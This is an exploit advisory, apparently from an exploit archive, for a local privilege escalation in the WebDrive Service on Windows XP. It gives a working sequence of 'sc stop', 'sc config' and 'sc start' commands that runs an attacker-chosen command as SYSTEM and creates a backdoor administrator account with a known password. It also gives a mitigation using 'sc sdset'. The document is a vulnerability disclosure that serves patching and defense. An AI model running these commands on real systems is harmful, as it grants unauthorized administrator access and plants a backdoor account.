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South River Technologies WebDrive Service privilege escalation
============================================================== South River Technologies WebDrive Service privilege escalation ============================================================== # Title: South River Technologies WebDrive Service privilege escalation # CVE-ID: () # OSVDB-ID: () # Author: bellick # Published: 2009-10-20 # Verified: yes view source print? South River Technologies WebDrive Service Bad Security Descriptor Local Elevation Of Privileges by Nine:Situations:Group::bellick Software site: http://www.webdrive.com/ Download location: http://www.webdrive.com/download/index.html Tested against: South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3 The "WebDrive Service" is installed with an empty security descriptor. A malicious user can stop the service, then invoke the "sc config" command to replace the binary path with a value of choice, then restart the service to run the command with SYSTEM privileges ex., run theese commands as a limited user: sc stop WebDriveService sc config WebDriveService binPath= "cmd /c net user southriver kills /add && net localgroup Administrators southriver /add" sc start WebDriveService runas /noprofile /user:%COMPUTERNAME%\southriver cmd now login as administrator with password "kills" mitigation: the security descriptor of the service is like this: C:\>sc sdshow WebDriveService D: change the security descriptor like the following: c:\sc sdset WebDriveService D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY) [SC] SetServiceObjectSecurity SUCCESS # 0day.today [2024-11-04] #